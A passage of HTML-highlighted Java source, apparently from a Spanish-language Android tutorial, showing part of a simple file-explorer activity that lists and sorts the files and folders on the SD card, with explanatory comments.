122&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;package&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;com&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;itimetux&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;timeexplorer&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;java.io.File&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;java.util.ArrayList&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;android.app.ListActivity&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;android.content.Intent&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;android.os.Bundle&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;android.view.View&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;android.widget.ListView&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;android.widget.Toast&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;class&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Explorador&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;extends&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;ListActivity&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;private&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Adapter&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;adapter&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;private&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;File&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;FullDir&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;private&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;String&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;SDCARD_PATH&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;

 &lt;span style=&quot;color: #5c35cc; font-weight: bold;&quot;&gt;@Override&lt;/span&gt;
 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;onCreate&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;Bundle&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;savedInstanceState&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;super&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;onCreate&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;savedInstanceState&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt;
  &lt;span style=&quot;color: black;&quot;&gt;Intent&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;intent&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;getIntent&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;();&lt;/span&gt;
  &lt;span style=&quot;color: black;&quot;&gt;Bundle&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;extras&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;intent&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;getExtras&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;();&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Llamamos los extras&lt;/span&gt;
  &lt;span style=&quot;color: black;&quot;&gt;SDCARD_PATH&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;extras&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;getString&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;SD&quot;&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Llamamos la ruta de&lt;/span&gt;
            &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// almacenamiento que mandamos&lt;/span&gt;
            &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// en el main&lt;/span&gt;
  &lt;span style=&quot;color: black;&quot;&gt;File&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Directorio&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;new&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;File&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;SDCARD_PATH&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Creamos un objeto File con&lt;/span&gt;
             &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// la ruta de almacenamiento&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;Directorio&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;exists&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;())&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Primero vemos si existe,por si algo&lt;/span&gt;
         &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// saliera mal&lt;/span&gt;
   &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;try&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Iniciamos un try,por si algo saliera mal de nuevo&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;startList&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;Directorio&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Mandamos la ruta inicial a la funcion&lt;/span&gt;
          &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// que creara la vista&lt;/span&gt;
   &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;catch&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;Exception&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;printStackTrace&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;();&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;Toast&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;makeText&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;
      &lt;span style=&quot;color: black;&quot;&gt;getApplicationContext&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(),&lt;/span&gt;
      &lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;No puedes acceder en este momento a &quot;&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot; &quot;&lt;/span&gt;
        &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;SDCARD_PATH&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Toast&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;LENGTH_LONG&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;show&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;();&lt;/span&gt; 
    &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Sino podemos acceder lo mostramos&lt;/span&gt;
   &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
  &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
 &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;

 &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;private&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;startList&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;File&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Directorio&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: black;&quot;&gt;String&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;titulo&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Directorio&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;getName&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;();&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Obtenemos el nombre de la ruta actual&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;setTitle&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;titulo&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Colocamos el titulo a la vista&lt;/span&gt;
  &lt;span style=&quot;color: black;&quot;&gt;FullDir&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Directorio&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Asignamos esta variable extra que usaremos despues&lt;/span&gt;

  &lt;span style=&quot;color: black;&quot;&gt;File&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Allfiles&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;[]&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Directorio&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;listFiles&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;();&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Listamos todos los archivos del directorio actual&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;Directorio&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;listFiles&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;()&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Si es null,esta vacio y lo mostramos&lt;/span&gt;
   &lt;span style=&quot;color: black;&quot;&gt;Toast&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;makeText&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;getApplicationContext&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(),&lt;/span&gt; &lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;Carpeta vacia&quot;&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;,&lt;/span&gt;
     &lt;span style=&quot;color: black;&quot;&gt;Toast&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;LENGTH_SHORT&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;show&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;();&lt;/span&gt;
   &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt;
  &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Creamos un Array para los directorios&lt;/span&gt;
  &lt;span style=&quot;color: black;&quot;&gt;ArrayList&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;File&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Dirs&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;new&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;ArrayList&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;File&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;gt;();&lt;/span&gt;
  &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Creamos un Array para los archivos&lt;/span&gt;
  &lt;span style=&quot;color: black;&quot;&gt;ArrayList&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;File&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Files&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;new&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;ArrayList&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;File&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;gt;();&lt;/span&gt;
  &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;//Creamos un array para guardar Archivos y Directorios&lt;/span&gt;
  &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;//Esto servira para ordenarlos&lt;/span&gt;
  &lt;span style=&quot;color: black;&quot;&gt;ArrayList&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;File&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;AllFilesGood&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;new&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;ArrayList&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;File&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;gt;();&lt;/span&gt;
  &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Creamos un Array de Archivos que guardara la informacion de archivos y directorios&lt;/span&gt;
  &lt;span style=&quot;color: black;&quot;&gt;ArrayList&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;Archivo&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Archivos&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;new&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;ArrayList&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;Archivo&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;gt;();&lt;/span&gt;
  &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;Allfiles&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;++)&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Recorremos la ruta actual&lt;/span&gt;
    &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Si es .android_secure no la usamos ya que no nos deja Android&lt;/span&gt;
   &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;Allfiles&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;].&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;getName&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;equals&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;.android_secure&quot;&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;))&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;continue&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;;&lt;/span&gt;
   &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Si es un directorio lo ponemos en Dirs&lt;/span&gt;
   &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;Allfiles&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;].&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;isDirectory&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;())&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;Dirs&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;Allfiles&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;]);&lt;/span&gt;
   &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Si es un Archivo lo ponemos en Files&lt;/span&gt;
   &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;}&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;else&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;Allfiles&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;].&lt;/span&gt;&lt;span style=&quot;color: #c4a000;&quot;&gt;isFile&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;())&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;{&lt;/span&gt;
